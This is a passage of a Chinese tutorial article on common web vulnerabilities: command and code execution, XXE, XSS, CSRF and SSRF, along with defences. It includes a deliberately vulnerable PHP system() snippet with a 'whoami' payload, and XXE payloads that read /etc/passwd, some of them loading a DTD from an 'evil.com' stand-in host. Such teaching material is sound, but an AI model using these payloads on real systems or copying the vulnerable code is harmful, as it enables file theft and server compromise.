- 存在可以執(zhí)行代碼或者系統(tǒng)命令的危險(xiǎn)函數(shù)
命令執(zhí)行漏洞帶來(lái)的危害
繼承Web服務(wù)程序的權(quán)限去執(zhí)行系統(tǒng)命令(任意代碼)或讀寫文件 反彈shell 控制整個(gè)網(wǎng)站甚至控制服務(wù)器 進(jìn)一步內(nèi)網(wǎng)滲透 等
列子
<?php $test = $_GET['cmd']; system($test); ?>payload:
?cmd=whoami
?這樣即可執(zhí)行系統(tǒng)命令
漏洞防護(hù)
1、盡量不要使用以上的代碼/命令執(zhí)行函數(shù)
2、使用disable_funtion()禁用以上函數(shù)
3、過(guò)濾所有能當(dāng)作命令分隔符使用的字符
七、代碼執(zhí)行
(84條消息) PHP中常見的命令執(zhí)行函數(shù)與代碼執(zhí)行函數(shù)_echo是命令執(zhí)行函數(shù)嗎_紅燒兔紙的博客-CSDN博客https://blog.csdn.net/weixin_39934520/article/details/109231480
代碼執(zhí)行:可執(zhí)行腳本語(yǔ)言代碼
PHP敏感函數(shù)代碼執(zhí)行
eval() //把字符串作為PHP代碼執(zhí)行 assert() //檢查一個(gè)斷言是否為 FALSE,可用來(lái)執(zhí)行代碼 preg_replace() //執(zhí)行一個(gè)正則表達(dá)式的搜索和替換 call_user_func()//把第一個(gè)參數(shù)作為回調(diào)函數(shù)調(diào)用 call_user_func_array()//調(diào)用回調(diào)函數(shù),并把一個(gè)數(shù)組參數(shù)作為回調(diào)函數(shù)的參數(shù) array_map() //為數(shù)組的每個(gè)元素應(yīng)用回調(diào)函數(shù)
八、XML外部實(shí)體注入
當(dāng)允許引用外部實(shí)體時(shí),通過(guò)構(gòu)造惡意內(nèi)容,可導(dǎo)致讀取任意文件、執(zhí)行系統(tǒng)命令、探測(cè)內(nèi)網(wǎng)端口、攻擊內(nèi)網(wǎng)網(wǎng)站等危害
注意:執(zhí)行系統(tǒng)命令(安裝expect擴(kuò)展的PHP環(huán)境里才有)
XML基礎(chǔ)
XML用于標(biāo)記電子文件使其具有結(jié)構(gòu)性的標(biāo)記語(yǔ)言,可以用來(lái)標(biāo)記數(shù)據(jù)、定義數(shù)據(jù)類型.
是一種允許用戶對(duì)自己的標(biāo)記語(yǔ)言進(jìn)行定義的源語(yǔ)言。
XML文檔結(jié)構(gòu)包括XML聲明、DTD文檔類型定義、文檔元素。
<?xml version="1.0" ?> <!--XML聲明--> <!DOCTYPE note [ <!ELEMENT note (to,from,heading,bodys)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT bodys (#PCDATA)> ]><!--文檔類型定義--> <note> <to>北京</to><from>石家莊</from> <heading>wintrysec</heading><bodys>wintrysec.github.io</bodys> </note><!--文檔元素-->
DTD(文檔類型定義)的作用是定義xml文檔的合法構(gòu)建模塊。
DTD 可以在 XML 文檔內(nèi)聲明,也可以外部引用。
PCDATA 指的是被解析的字符數(shù)據(jù)(Parsed Character Data)
XML解析器通常會(huì)解析XML文檔中所有的文本
<message>此文本會(huì)被解析</message>
當(dāng)某個(gè)XML元素被解析時(shí),其標(biāo)簽之間的文本也會(huì)被解析:
<name><first>Bill</first><last>Gates</last></name>
<!--內(nèi)部聲明DTD--> <!DOCTYPE 根元素 [元素聲明]> <!--引用外部DTD--> <!DOCTYPE 根元素 SYSTEM “文件名”> <!--或者--> <!DOCTYPE 根元素 PUBLIC “public_ID” “文件名”> <!--DTD實(shí)體是用于定義引用普通文本或特殊字符的快捷方式的變量,可以內(nèi)部聲明或外部引用。--> <!--內(nèi)部聲明實(shí)體--> <!ENTITY 實(shí)體名稱 “實(shí)體的值"> <!--引用外部實(shí)體--> <!ENTITY 實(shí)體名稱 SYSTEM “URI"> <!--或者--> <!ENTITY 實(shí)體名稱 PUBLIC “public_ID" “URI">
惡意引入外部實(shí)體的三種方式
一、本地引入
XML內(nèi)容:
<?xml version="1.0" ?> <!--XML聲明--> <!DOCTYPE x[ <!ENTITY wintrysec SYSTEM "file:///etc/passwd"> ]><!--文檔類型定義--> <test>&wintrysec;</test><!--文檔元素-->
一個(gè)實(shí)體由三部分構(gòu)成: 一個(gè)和號(hào) (&), 一個(gè)實(shí)體名稱, 以及一個(gè)分號(hào) (??
二、遠(yuǎn)程引入
XML內(nèi)容:
<?xml version="1.0" ?> <!--XML聲明--> <!DOCTYPE x[ <!ENTITY %d SYSTEM "http://evil.com/evil.dtd"> %d; ]><!--文檔類型定義--> <test>&wintrysec;</test><!--文檔元素-->
DTD文件(evil.dtd)內(nèi)容:
<!ENTITY wintrysec SYSTEM “file:///etc/passwd">
三、遠(yuǎn)程引入2
<?xml version="1.0" ?> <!DOCTYPE x SYSTEM "http://evil.com/evil.dtd"> <test>&wintrysec;</test>
九、xss 漏洞
漏洞原理:
在有搜索框或者其他可輸入的表單內(nèi)進(jìn)行輸入一些亂碼如若回顯了這一串亂碼則判定可能有xss然后將惡意js包含進(jìn)去在進(jìn)行嘗試判斷是何種類型。(js代碼可控)
防御:輸入過(guò)濾、輸出轉(zhuǎn)義,最常見的是將<>、“、‘、&、/實(shí)體化轉(zhuǎn)移,或者白名單黑名單,過(guò)濾標(biāo)簽,過(guò)濾事件。
xss 分類:(三類)
-
反射型XSS:<非持久化> 攻擊者事先制作好攻擊鏈接, 需要欺騙用戶自己去點(diǎn)擊鏈接才能觸發(fā)XSS代碼(服務(wù)器中沒(méi)有這樣的頁(yè)面和內(nèi)容),一般容易出現(xiàn)在搜索頁(yè)面。
-
存儲(chǔ)型XSS:<持久化> 代碼是存儲(chǔ)在服務(wù)器中的,如在個(gè)人信息或發(fā)表文章等地方,加入代碼,如果沒(méi)有過(guò)濾或過(guò)濾不嚴(yán),那么這些代碼將儲(chǔ)存到服務(wù)器中,每當(dāng)有用戶訪問(wèn)該頁(yè)面的時(shí)候都會(huì)觸發(fā)代碼執(zhí)行,這種XSS非常危險(xiǎn),容易造成蠕蟲,大量盜竊cookie(雖然還有種DOM型XSS,但是也還是包括在存儲(chǔ)型XSS內(nèi))。
-
DOM型XSS:基于文檔對(duì)象模型Document Objeet Model,DOM)的一種漏洞。DOM是一個(gè)與平臺(tái)、編程語(yǔ)言無(wú)關(guān)的接口,它允許程序或腳本動(dòng)態(tài)地訪問(wèn)和更新文檔內(nèi)容、結(jié)構(gòu)和樣式,處理后的結(jié)果能夠成為顯示頁(yè)面的一部分。DOM中有很多對(duì)象,其中一些是用戶可以操縱的,如uRI ,location,refelTer等??蛻舳说哪_本程序可以通過(guò)DOM動(dòng)態(tài)地檢查和修改頁(yè)面內(nèi)容,它不依賴于提交數(shù)據(jù)到服務(wù)器端,而從客戶端獲得DOM中的數(shù)據(jù)在本地執(zhí)行,如果DOM中的數(shù)據(jù)沒(méi)有經(jīng)過(guò)嚴(yán)格確認(rèn),就會(huì)產(chǎn)生DOM XSS漏洞。
參考鏈接:https://www.jianshu.com/p/4fcb4b411a66
?
十、CSRF & SSRF?
CSRF:
csrf是跨站請(qǐng)求偽造,是借用用戶的權(quán)限完成攻擊,服務(wù)器端沒(méi)有對(duì)用戶提交的數(shù)據(jù)過(guò)濾,導(dǎo)致攻擊者可以利用用戶的Cookie信息偽造用戶請(qǐng)求發(fā)送至服務(wù)器。攻擊方拿到用戶的權(quán)限來(lái)進(jìn)行盜取登錄信息賬號(hào)或者購(gòu)買,csrf攻擊需滿足三個(gè)條件,1、用戶登錄了站點(diǎn)被記錄了cookie,2、用戶在還沒(méi)有離開站點(diǎn)之前就是cookie還生效的情況下攻擊者給用戶提供了惡意站點(diǎn),3、用戶所登錄站點(diǎn)沒(méi)有防御而且訪問(wèn)了攻擊者提供的站點(diǎn)。
防御:對(duì)賬密信息加token,或者驗(yàn)證碼,修改密碼時(shí)候要舊密碼等等不可以直接允許修改。
????SSRF:
??????由于服務(wù)端提供了從其他服務(wù)器應(yīng)用獲取數(shù)據(jù)的功能(例如分享等功能)且沒(méi)有對(duì)目標(biāo)地址做 ??????過(guò)濾與限制,給予了攻擊者乘虛而入的機(jī)會(huì)。比如從指定URL地址獲取網(wǎng)頁(yè)文本內(nèi)容,加載指? ??????定地址的圖片,下載等等。SSRF是利用存在缺陷的web應(yīng)用作為代理攻擊遠(yuǎn)程和本地的服務(wù) ??????器。服務(wù)器對(duì)用戶給的可控URL,沒(méi)有檢測(cè),導(dǎo)致攻擊者可以以這為突破口攻擊內(nèi)網(wǎng)或其他服? ??????務(wù)器。可以用來(lái)探測(cè)端口,可配合gopher讀寫文件。
文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-751443.html
總的來(lái)說(shuō),CSRF是服務(wù)器端沒(méi)有對(duì)用戶提交的數(shù)據(jù)進(jìn)行嚴(yán)格的把控,導(dǎo)致攻擊者可以利用用戶的Cookie信息偽造用戶請(qǐng)求發(fā)送至服務(wù)器。而SSRF是服務(wù)器對(duì)用戶提供的可控URL地址過(guò)于信任,沒(méi)有經(jīng)過(guò)嚴(yán)格檢測(cè),導(dǎo)致攻擊者可以以此為跳板攻擊內(nèi)網(wǎng)或其他服務(wù)器。文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-751443.html
到了這里,關(guān)于常見Web十大漏洞,常見Web漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!